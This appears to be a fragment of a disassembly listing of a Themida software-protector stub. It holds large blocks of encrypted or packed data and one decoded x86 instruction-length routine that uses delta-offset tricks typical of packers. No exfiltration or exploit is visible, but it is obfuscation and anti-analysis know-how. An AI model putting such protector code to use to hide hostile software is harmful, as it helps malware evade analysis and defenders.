		dd 858B61D0h, 608686Dh,	699D8BC3h, 0F060868h, 33C43B7h
		dd 785B8BD8h, 68699D03h, 738B0608h, 69B50324h, 56060868h
		dd 8B207B8Bh, 0BD031C73h, 6086869h, 6869B503h, 83FC0608h
		dd 8B41FFC9h, 8686D9Dh,	3178B06h, 8686995h, 4C78306h, 0C084028Ah
		dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h
		dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh
		dd 8686985h, 6D858906h,	8B060868h, 8BCE8BF0h, 0A6BD81C1h
		dd 60868h, 0FC03000h, 0D85h, 14E8C100h,	0FFC25h, 8E900h
		dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 60868A6h,	6070C83h
		dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0A6BD8100h
		dd 60868h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 60868A6h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 14858DCFh
		dd 89060868h, 30AF185h,	0AA858D06h, 89060868h, 3213985h
		dd 71858D06h, 89060868h, 3220585h, 8E806h, 0A37D0000h
		dd 91AD9490h, 8CB62345h, 0C870F59h, 0E9000000h,	7, 0FD5D818Bh
		dd 812367FFh, 6AB9C1h, 0BBF88B00h, 2A44D927h, 416CC381h
		dd 31FFD5BBh, 548C40BAh, 0EF815824h, 16065505h,	64F2C081h
		dd 81F8666Fh, 1F53AE8h,	5CB25213h, 16F0815Eh, 505755B1h
		dd 0B70F018Fh, 4E983FAh, 6840Fh, 0C2810000h, 6C8E6913h
		dd 0BF850F4Bh, 0D0FFFFFFh, 3EAFF13h, 64A6934Ah,	0A2F266AEh
		dd 83067271h, 187A0E35h, 0A7FCDF70h, 48819C85h,	333E285h
		dd 7944A924h, 4D20DD78h, 642E5688h, 363CDE33h, 0D933DF0Fh
		dd 0EC33D3DCh, 0AF3A5335h, 0A65643D8h, 9A491364h, 0CD7536AFh
		dd 6759DF35h, 0B3303764h, 8013DF35h, 0A0BA86F6h, 32B2DB11h
		dd 3B24DB11h, 0CC72DF35h, 0DA87BAF6h, 0B68CD032h, 0EB08563h
		dd 0DF30DB78h, 0E6B7D035h, 1033DF35h, 48F42DB4h, 9D30D4DCh
		dd 7CB65235h, 0D35D75Fh, 0B0DB8E35h, 0F933DF35h, 656A1C6Ch
		dd 0F737FB79h, 2E37FB71h, 0DC33DF35h, 7B4E1C64h, 0D2C961A5h
		dd 963B5A7h, 0F3C8967Ah, 61876DA5h, 7E594BB0h, 3B3C3733h
		dd 2ACFDF35h, 5F59278Dh, 714B69B1h, 3367B3Fh, 0DCBED0A0h
		dd 5633DF35h, 540F09F9h, 0BC3C8F6Bh, 9D33DF30h,	0C130BB8Bh
		dd 43375611h, 0B33F5F3Ah, 563CDF35h, 0EC33DF33h, 6B7238B4h
		dd 8C3CC973h, 0ECA620CFh, 0C135DC3Ch, 6733DCBEh, 6584D035h
		dd 19B824BEh, 0AADD5E53h, 938E5C4Eh, 3B35DC31h,	20B0D640h
		dd 0C830FC0Ch, 372AAB35h, 0BF35466h, 0D933DB4Fh, 0F6AE5ABCh
		dd 0EBBED936h, 3D366A8Ah, 0C5680CCAh, 0ED0A62B6h, 1333D936h
		dd 0B608F22h, 0D933DB4Fh, 0F6AE5ABCh, 0EBBED936h, 3D366D9Bh
		dd 0C5680CCAh, 158DB9CDh, 0DF35431h, 0B0DB8F35h, 0F933DF35h
		dd 656B1C6Dh, 0F737FB71h, 2D37FB71h, 0DD33DF35h, 9EAF1C65h
		dd 6DDA2A3Ah, 2B33DF35h, 7FEE769Fh, 95BEACD8h, 0EAAE52F9h
		dd 0D235D75Fh, 9D33DF3Eh, 0CD81E91Ah, 78A9D7E8h, 39B9F435h
		dd 15B652FEh, 0E335D76Dh, 0A6CC0C82h, 0D360DF5Fh, 9D33DF36h
		dd 95F08415h, 631783BCh, 0B7179BB4h, 0D933DF20h, 3FF08C76h
		dd 0B48C8D99h, 6255E72Fh, 193C1F3Eh, 0CE33DF90h, 8F62DF5Fh
		dd 0B333DF36h, 80F08615h, 0E81793BCh, 72179BB4h, 3B33DF2Eh
		dd 76F08E74h, 2972C15h,	6842E56Ah, 0B333DCBEh, 11B8B935h
		dd 0A15A42B8h, 7659D936h, 3B303762h, 0C213DF35h, 0B2BA80F6h
		dd 23B2DB11h, 0B32EDB11h, 8E74DF35h, 3C00B6F6h,	85BF2E9Ah
		dd 34E530E5h, 9D33C1BFh, 0CE213735h, 466EDF35h,	0B563E214h
		dd 0E3C5FE8Dh, 8A9E0CE7h, 0F7E229E3h, 71E329B4h, 2569CC43h
		dd 0CE33DF36h, 8F65DF5Fh, 0B333DF36h, 87F08115h, 0E817ABBCh
		dd 72179BB4h, 3B33DF20h, 8CF08973h, 3EB88D76h, 30D0206Bh
		dd 17AE526Ch, 0BF35D75Fh, 61D7088Ch, 7E6B13B0h,	6933B533h
		dd 9D33DCDDh, 0D69FF35h, 4367566Fh, 97775E31h, 0D933C231h
		dd 2F619D35h, 0FE5DC7BEh, 17F0D231h, 91DA0C9Bh,	6333DF35h
		dd 45412B77h, 204B76AAh, 26CB54AEh, 0DBD95EE5h,	7D7E7AC0h
		dd 21B7D0F5h, 9233DF35h, 53BE2082h, 6130925Ch, 0B33267CDh
		dd 6755DF35h, 0FCCB6F7h, 9C0F728Ch, 92AE5262h, 0F735D75Fh
		dd 0CDDB8F35h, 4733DF35h, 3A6B1C6Dh, 5837FB71h,	0F537FB71h
		dd 3633DF35h, 1B8A1C65h, 6777A984h, 0CE37543Ah,	0D855DF35h
		dd 36BE82BEh, 0DF3B87F9h, 0EC37543Ah, 0FC61DF35h, 0EBCC80C5h
		dd 9D33D9DCh, 17E16735h, 0EC03CE15h, 0BCF3D4C7h, 0D933E4B1h
		dd 85AE5235h, 0F735DC78h, 339F23EBh, 9D306737h,	0CE59DF35h
		dd 67303760h, 0EE13DF35h, 0B5BA82F6h, 0A8B2DB11h, 7626DB11h
		dd 6E76DF35h, 2851E4F6h, 0EF89B970h, 1D02042h, 448916B4h
		dd 0D93E3676h, 0DCB0DF35h, 0AA27A4E4h, 0CAB6EB10h, 0FBB77A3Fh
		dd 73BE26BEh, 613BB5A7h, 0DD6652B8h, 0A48BD93Dh, 0DFB99469h
		dd 7539B2B0h, 52FCF433h, 0D75F17AEh, 88CBF35h, 13B061D7h
		dd 0B5337E6Bh, 0DCDD6933h, 0FF359D33h, 0E9830D69h, 8BA4F305h
		dd 0B8D0FC0h, 0E9000000h, 6, 5DBE04A3h,	850F7284h, 10h
		dd 0BE9h, 0DBF0BA00h, 0F7603E9Eh, 0ABCF2FA5h, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A3324CC3h, 0E9EC8B5Fh, 0Bh,	2190F607h, 4F050D5Eh, 8BE125F3h
		dd 0F08B66C0h, 4E5BD83h, 75000603h, 39BD8309h, 60323h
		dd 53501974h, 7AB8C08Bh, 89000004h, 3073985h, 269D8D06h
		dd 0FF0605B6h, 83585BD3h, 32339BDh, 17740006h, 7AB85350h
		dd 89000004h, 3073985h,	0C79D8D06h, 0FF0605B2h,	0E9585BD3h
		dd 0Ch,	8207B2F2h, 1D8745BDh, 0DA6FDFAh, 3CE9C08Bh, 1
		dd 4Eh dup(0)
		dd 83000000h, 326D1BDh,	840F0106h, 4D6h, 5E9h, 0A24A5400h
		dd 85C6CAD6h, 6031BA1h,	188C0F43h, 0E9000000h, 13h, 3363B50Dh
		dd 0E5847EB2h, 0FDD74CE6h, 9EB293A1h, 680183F7h, 0BF575539h
		dd 9E9h, 300E7D00h, 54862672h, 34818C10h, 0F285CC24h, 850FF553h
		dd 8, 2840Fh, 61600000h, 2471B5FFh, 6A0603h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 60668AC3h
		dd 56D08B60h, 0C2816159h, 12CED926h, 58858D61h,	0F806067Ch
		dd 5B506060h, 61F9B70Fh, 0FD0FF61h, 28Ah, 89616000h, 324F585h
		dd 0F606006h, 88h, 12E96100h, 0B5000000h, 45A5D573h, 4CC9FFFFh
		dd 0A36CDE00h, 0DAFD8631h, 85C66189h, 6031BA1h,	57006A50h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0C979B0F9h, 0B068FCF6h, 0E95999AFh, 9, 6FBFDD38h, 0E4E801DEh
		dd 2404817Ah, 4F13FDA6h, 13830Fh, 0EE90000h, 20000000h
		dd 863241E1h, 0D7C0A1B8h, 53C03D11h, 71B5FF8Ah,	0FC060324h
		dd 7C58858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 252802C3h, 5E96D48h, 0F3000000h
		dd 0ED4A2144h, 89FCD0FFh, 307A185h, 4E8F906h, 2F000000h
		dd 0E9F08FA8h, 5, 0D5AED6EEh, 8D0F5032h, 10h, 0A810Fh
		dd 5E90000h, 25000000h,	0BB136690h, 424448Bh, 21830Fh
		dd 52500000h, 8A0Fh, 310F0000h,	10E9h, 0CD899600h, 8E71C3C0h
		dd 2E9ECBB2h, 2AE61B9Eh, 8B585A18h, 0F525000h, 68Dh, 8C0F00h
		dd 0F000000h, 14E96031h, 30000000h, 6FD3D4FDh, 0FD216162h
		dd 0A79B1F1Bh, 79E63817h, 0B0C674F7h, 585A612Dh, 4244489h
		dd 830F5250h, 6, 8E0Fh,	310F0000h, 52505250h, 585A310Fh
		dd 6160310Fh, 585A585Ah, 16840F58h, 0E9000000h,	11h, 9AF7EF57h
		dd 8188C184h, 76A44DBCh, 151B8331h, 71B5FF23h, 0F5060324h
		dd 58858DF8h, 6006067Ch, 1840Fh, 0FF90000h, 0FF61F0B7h
		dd 14E9D0h, 8E740000h, 0C95716BFh, 315E7D54h, 0B47C7AFBh
		dd 0C5D9B1ADh, 8589D0EDh, 6031731h, 1830Fh, 0C6FC0000h
		dd 31BA185h, 0E8F95006h, 4, 979CDC56h, 0EE95250h, 3000000h
		dd 3983452h, 0BB96AD83h, 0B8182578h, 50310FF3h,	0AE952h
		dd 46170000h, 736375ECh, 91435F2Bh, 6160310Fh, 585A585Ah
		dd 0C830F50h, 0F000000h, 688h, 0F525000h, 8B585A31h, 60042444h
		dd 0CE8C78Bh, 0F3000000h, 6A0612CDh, 0B0B4619Fh, 0E845196Ah
		dd 0Eh,	51F573D5h, 0C07F17D4h, 0BED3F585h, 585A0892h, 60008B61h
		dd 31EDBB66h, 66CF8B60h, 6161C68Bh, 4244489h, 0AE9h, 7BED3E00h
		dd 91F47700h, 5885C76Eh, 4840F60h, 66000000h, 0F450DBFh
		dd 281h, 615E5000h, 2E1B5FFh, 5E90603h,	25000000h, 0F061C330h
		dd 38E0858Dh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0EAB36DC3h, 0E932CC29h, 0Ah, 74D7100h
		dd 0E75AE8E7h, 0D0FF5105h, 0F98589FCh, 0F060320h, 1586h
		dd 10E900h, 25830000h, 8338AAF1h, 7D779FD0h, 93CA09CFh
		dd 3FE9BEEDh, 0F000001h, 1782h,	0EE96000h, 0B4000000h
		dd 475E9BD8h, 4A77A647h, 0D3369E63h, 616160F1h,	9BB86095h
		dd 0F074EAAh, 280h, 6190B200h, 0D68B6050h, 9561F6B0h, 0FEC8BF5h
		dd 885h, 28C0F00h, 60000000h, 0FCC48361h, 0C28B6660h, 61F9B70Fh
		dd 0E8F560h, 5A000000h,	746EEA81h, 45C70608h, 0FCh, 0D1BA8300h
		dd 1060326h, 98840Fh, 6A520000h, 0FF0F6A00h, 324F592h
		dd 82895A06h, 6086F36h,	6F3A9A8Dh, 0C7520608h, 12803h
		dd 0FF505300h, 307A192h, 8D525A06h, 86F3A9Ah, 0B2FF5306h
		dd 6086F36h, 20F992FFh,	0B5A0603h, 8D5074C0h, 86F3A9Ah
		dd 247B8D06h, 0F981C933h, 104h,	8141D474h, 452E393Ch, 0EE754558h
		dd 2B39348Dh, 0BA8D0C75h, 6032709h, 0F30C4D8Bh,	0AAC032A4h
		dd 875FF52h, 2709828Dh,	0FF500603h, 3173192h, 0C00B5A06h
		dd 45C7A075h, 1FCh, 0C707EB00h,	0FC45h,	8B610000h, 0C2C9FC45h
		dd 8C0F0008h, 0Dh, 5E960h, 0A3140000h, 0F9F6EC19h, 13860F61h
		dd 60000000h, 0CE9h, 16264200h,	6C73F678h, 0DE6625E6h
		dd 0D28B617Ah, 76408D8Dh, 800F0608h, 17h, 12E9h, 7CB59C00h
		dd 56CE859h, 0EAF16588h, 0FB90901Fh, 893BB04Bh,	320A58Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0D3ED066Fh, 805EEA56h, 950B5851h, 603262Dh
		dd 1A6585C7h, 5E740603h, 0B5290000h, 6031621h, 7185C7h
		dd 603h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 190424h, 51410000h, 0C58FF8C3h, 0BF801E03h, 2D8E5A94h
		dd 12E8h, 56B53E00h, 422C9774h,	5613F33Dh, 0B69D282Ah
		dd 5F5F2067h, 2021B5FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 587B65C3h, 24734ED9h
		dd 95FF74B4h, 603171Dh,	0EB19D89h, 6A0603h, 23A595FFh
		dd 0C08B0603h, 551909EBh, 6EDB60B2h, 0E8122829h, 6, 3CF64B81h
		dd 66602909h, 9E9CF8Bh,	46000000h, 0D146F2F3h, 1FABD5B1h
		dd 0D8815F61h, 5314DC37h, 7439C781h, 95290000h,	6030AC5h
		dd 68h,	41B58900h, 5A060307h, 0FFF6B70Fh, 0FE83A34h, 0D8000000h
		dd 4222E7F1h, 45BBF923h, 1F3FABB5h, 9D898C9Fh, 60330E1h
		dd 0D88B595Bh, 1751E981h, 858B1DB9h, 60312E1h, 0E26EC181h
		dd 0BF0F7D54h, 87C181DEh, 0E963E544h, 0Ch, 0CA14398Ch
		dd 0E17A7E30h, 1A1279DBh, 0C3816651h, 48F7F8Bh,	0AE817h
		dd 357D0000h, 0F96DA781h, 22344C1Dh, 335EC28Bh,	3219185h
		dd 0D4EA8106h, 815527D7h, 4F9B55EBh, 0D0C2810Ch, 295527D7h
		dd 325999Dh, 0C0FA8106h, 0FFFFF8Ch, 1585h, 2BE900h, 0B0980000h
		dd 85249BCEh, 0D1EC2261h, 0EB15F3BFh, 8501D944h, 6030755h
		dd 0FFFF4EE9h, 0E1AF40FFh, 0A718FAF6h, 8796C1CAh, 84F6E354h
		dd 108D8D9Dh, 6A060878h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0E7EAC352h,	8D29F055h
		dd 603096Dh, 20A58D89h,	0B5290603h, 6030661h, 1A6585C7h
		dd 6F980603h, 0E3810000h, 6F385FADh, 7185C7h, 603h, 0D0800000h
		dd 0B1B5FFDDh, 6A06031Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 4095C350h, 22A0D269h
		dd 6B1D035h, 0C9D8589h,	0E2800603h, 1D95FF24h, 6A060317h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 5657C353h, 8E230966h, 48D0Fh, 0BF660000h
		dd 6AB224h, 23A595FFh, 0C08B0603h, 0A98A2AEBh, 7E0D017Dh
		dd 8153E4Dh, 0BA764FC2h, 0CD444F80h, 91B50B4Dh,	4C1612BDh
		dd 0FD086667h, 20BCFE3Ch, 0CD705EDAh, 0EB67B7C1h, 1C8E9h
		dd 8 dup(41888800h), 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 17ED815Dh, 6006087Ah, 796485C7h, 608h, 81660000h, 0FA1663Eh
		dd 0F85h, 6885C700h, 6060879h, 0E9000000h, 24h,	796C858Dh
		dd 8D500608h, 879BC85h,	6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	6087968h, 68B50361h, 8B060879h
		dd 8796485h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_542B30
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_542B3C
; ---------------------------------------------------------------------------

loc_542B30:				; CODE XREF: Themida_:00542B19j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_542B3C:				; CODE XREF: Themida_:00542B2Bj
		push	ebx
		push	esi
		push	edi

loc_542B3F:				; CODE XREF: Themida_:00542B94j
					; Themida_:00542BB0j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_542B52:				; CODE XREF: Themida_:00542B79j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6087ACEh
		lea	ebp, [ebp+6087944h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_542B7F
		inc	cl
		cmp	cl, 0Bh
		jb	loc_542B52

loc_542B7F:				; CODE XREF: Themida_:00542B6Ej
		cmp	cl, 0Bh
		jz	loc_542BDC
		cmp	al, 66h
		jnz	loc_542BBD
		cmp	byte ptr [ebp-5], 0
		jnz	loc_542B3F
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_542BB5
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_542B3F
; ---------------------------------------------------------------------------

loc_542BB5:				; CODE XREF: Themida_:00542BA2j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_542BBD:				; CODE XREF: Themida_:00542B8Aj
		cmp	al, 67h
		jnz	loc_542B3F
		cmp	byte ptr [ebp-6], 0
		jnz	loc_542B3F
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_542B3F
; ---------------------------------------------------------------------------

loc_542BDC:				; CODE XREF: Themida_:00542B82j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_542C08
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_542C0D
; ---------------------------------------------------------------------------

loc_542C08:				; CODE XREF: Themida_:00542BE7j
		movzx	edi, al
		shr	edi, 1

loc_542C0D:				; CODE XREF: Themida_:00542C03j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6087B86h
		lea	ebp, [ebp+6087844h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_542D8F
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_542CD3
		dec	ecx
		jz	loc_542CB6
		dec	ecx
		jnz	loc_542D26
		cmp	byte ptr [ebp-2], 0
		jnz	loc_542D22
		cmp	byte ptr [ebp-5], 0
		jz	loc_542C95
		mov	byte ptr [ebp+0Bh], 2

loc_542C95:				; CODE XREF: Themida_:00542C8Bj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6087C12h
		mov	dword ptr [ebp+6087964h], 1
		pop	ebp
		jmp	loc_542D26
; ---------------------------------------------------------------------------

loc_542CB6:				; CODE XREF: Themida_:00542C70j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_542D00
		cmp	byte ptr [ebp-5], 0
		jz	loc_542D00
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_542D00
; ---------------------------------------------------------------------------

loc_542CD3:				; CODE XREF: Themida_:00542C69j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_542D19
		cmp	byte ptr [ebp-5], 0
		jz	loc_542D08
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_542D00
		mov	[ebp+0Bh], cl

loc_542D00:				; CODE XREF: Themida_:00542CBAj
					; Themida_:00542CC4j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_542D26
; ---------------------------------------------------------------------------

loc_542D08:				; CODE XREF: Themida_:00542CE1j
		cmp	dl, 5
		jnz	loc_542D26
		mov	[ebp+0Bh], dl
		jmp	loc_542D26
; ---------------------------------------------------------------------------

loc_542D19:				; CODE XREF: Themida_:00542CD7j
		cmp	dl, 6
		jnz	loc_542D26

loc_542D22:				; CODE XREF: Themida_:00542C81j
		mov	byte ptr [ebp+0Bh], 3

loc_542D26:				; CODE XREF: Themida_:00542C77j
					; Themida_:00542CB1j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_542D54
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_542D36:				; CODE XREF: Themida_:00542D4Cj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_542D36
		mov	esi, edx

loc_542D54:				; CODE XREF: Themida_:00542D29j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_542D89
		cmp	edi, 7Fh
		ja	loc_542D89
		test	bl, 38h
		jnz	loc_542D89
		cmp	byte ptr [ebp-7], 0
		jz	loc_542D83
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_542D86
; ---------------------------------------------------------------------------

loc_542D83:				; CODE XREF: Themida_:00542D74j
		push	1
		pop	eax

loc_542D86:				; CODE XREF: Themida_:00542D7Ej
		mov	[ebp-1], al

loc_542D89:				; CODE XREF: Themida_:00542D58j
					; Themida_:00542D61j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_542D8F:				; CODE XREF: Themida_:00542C39j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_542DBA
		dec	eax
		dec	eax
		jz	loc_542DB0
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_542DC2
; ---------------------------------------------------------------------------

loc_542DB0:				; CODE XREF: Themida_:00542D9Fj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_542DBF
; ---------------------------------------------------------------------------

loc_542DBA:				; CODE XREF: Themida_:00542D97j
		mov	al, [ebp-3]
		add	al, 4

loc_542DBF:				; CODE XREF: Themida_:00542DB5j
		add	[ebp-1], al

loc_542DC2:				; CODE XREF: Themida_:00542DABj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_542DEA
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_542DD5:				; CODE XREF: Themida_:00542DE4j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_542DD5

loc_542DEA:				; CODE XREF: Themida_:00542DCAj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '-',0
		align 4
		dd 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h
		dd 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h, 60703B2h
		dd 0EAE9384Ah, 6800000Ah, 6087EC1h, 0FB007CE9h,	7FD668FFh
		dd 72E90608h, 68FFFB00h, 608811Ah, 0FB0068E9h, 81C868FFh
		dd 5EE90608h, 68FFFB00h, 60882B8h, 0FB0054E9h, 83CC68FFh
		dd 4AE90608h, 68FFFB00h, 6088482h, 0FB0040E9h, 862C68FFh
		dd 36E90608h, 68FFFB00h, 60886FBh, 0FB002CE9h, 0F8C14AFFh
		dd 17E86E8Ch, 34058DABh, 5720AAC8h, 7748CDEBh, 3C004C0Bh
		dd 5C7AE6B7h, 7E9C08D1h, 9FBD29F2h, 0D6DB4718h,	38115F2Ah
		dd 0D3E1D019h, 24FC29C0h, 0C272E5B0h, 606EDC19h, 0E0908D9h
		dd 0E95D6A16h, 0FF401FE0h, 0ADA8A778h, 0ECAE6B62h, 35BCCAF4h
		dd 53DAF864h, 275E8382h, 0E8B3E559h, 0D019758Ah, 3B655D6Ah
		dd 0E60CD709h, 8ED01975h, 30C68981h, 0B0DA11F2h, 45262FA3h
		dd 0A1004A2Ch, 0D7E50F07h, 2BFC8250h, 0C74E6CD8h, 0EE7482F6h
		dd 4B70251Dh, 7D246D2h,	0D004277Ch, 11E26A78h, 41C71712h
		dd 9ECC7870h, 38370890h, 36C2303Dh, 0CC58C402h,	13090403h
		dd 31D41AE5h, 8F9CC402h, 4392E93Ch, 0E2DAC830h,	929DAE1h
		dd 8E170000h, 0B53B59C5h, 0D25A78E4h, 0ED779501h, 159AB824h
		dd 0CD19D844h, 47B38409h, 69D59E29h, 8AF6BF4Bh,	0A814E56Ch
		dd 0C62CF7A3h, 0AED0193Bh, 0CF568DA0h, 8007FFFEh, 8DF843AFh
		dd 9FB47FF3h, 17DC144Ah, 1C560B0Ah, 0A1D01240h,	7546CBD9h
		dd 17A5A27Dh, 5A3AE2DCh, 3357h,	0FC29A600h, 707EB024h
		dd 5E2119EAh, 0DC14685Dh, 54090815h, 0D012661Ah, 9B29269Fh
		dd 5A3AC050h, 9253DEECh, 0BA6E05A1h, 6B6ABDCFh,	0D53D7870h
		dd 8C000000h, 0CC9D2432h, 7647CED4h, 29FA7F77h,	0DAAB322Ah
		dd 935CE3DBh, 3BC67BFBh, 119CECDFh, 0AE89F548h,	0D611C249h
		dd 0B7748CFh, 969566EDh, 17E06C7Ah, 5AD21D18h, 9D90E5FCh
		dd 0D14C7F77h, 0BEAF734Fh, 479A077Dh, 920308D3h, 1623DC14h
		dd 5A265FAAh, 0B782B4E6h, 0D012ADB9h, 32400B39h, 0C2D012ADh
		dd 0A76A62B5h, 0DA151282h, 5563D7E4h, 828BFFD0h, 0D49DADF2h
		dd 0A1C3BBCBh, 0D62DFE83h, 0D4BDBF7Dh, 14282F30h, 2C000008h
		dd 506EDAA3h, 6F8DF9CAh, 8CAA16E7h, 0AFCD3902h,	2EED592Ah
		dd 0C8991EE2h, 0EAB33E5Ch, 0BD4607Eh, 29FA819Fh, 410CB8BDh
		dd 0D0193A33h, 32A2B5C3h, 0D0CF9824h, 52D7DDD5h, 0C5D31581h
		dd 71776F40h, 0C72DF8EAh, 0AFD61145h, 0E34FA2h,	0B024FC29h
		dd 1468C2E5h, 908F9CDCh, 0EDF6674h, 591C140Fh, 0D012661Fh
		dd 2B2AF37Dh, 5CE3A933h, 3039388Bh, 567F2A27h, 614E0DDh
		dd 0B7B2B17Ah, 0C018D3BFh, 0C135A3Ah, 62000001h, 0FFFECF56h
		dd 3DB18207h, 52DEA42Fh, 893E3689h, 114997D4h, 7C6EF5D6h
		dd 114143B1h, 2120DED6h, 0F6AEF32Fh, 0B47FF300h, 0D61129BEh
		dd 6AD62936h, 0C4951A28h, 7942CDC5h, 89E7B226h,	69D61129h
		dd 0D75E645Ch, 0DEBB8409h, 0A0C2390Bh, 1EA6F649h, 0D6FBFA4Dh
		dd 0F81ED9AFh, 0FCF175F5h, 380335A9h, 0D6115C3Ah, 8BB5ADBAh
		dd 14465BC0h, 0E2ADDBDCh, 0D012718Ch, 98045764h, 0D448D04Dh
		dd 83EEB4CBh, 0F9036B14h, 0BF1AA8E3h, 9CC6BE11h, 3D45C6Ah
		dd 4E110904h, 0DA1592FAh, 0EBF96D7Ah, 0E7299566h, 5284EAB5h
		dd 626CDA18h, 0C0B80BDCh, 0D6435BAh, 0D4BDD2AAh, 0D0697071h
		dd 70000006h, 94B21EE7h, 0B3D13D0Eh, 0D0EE5A2Bh, 0F3117D46h
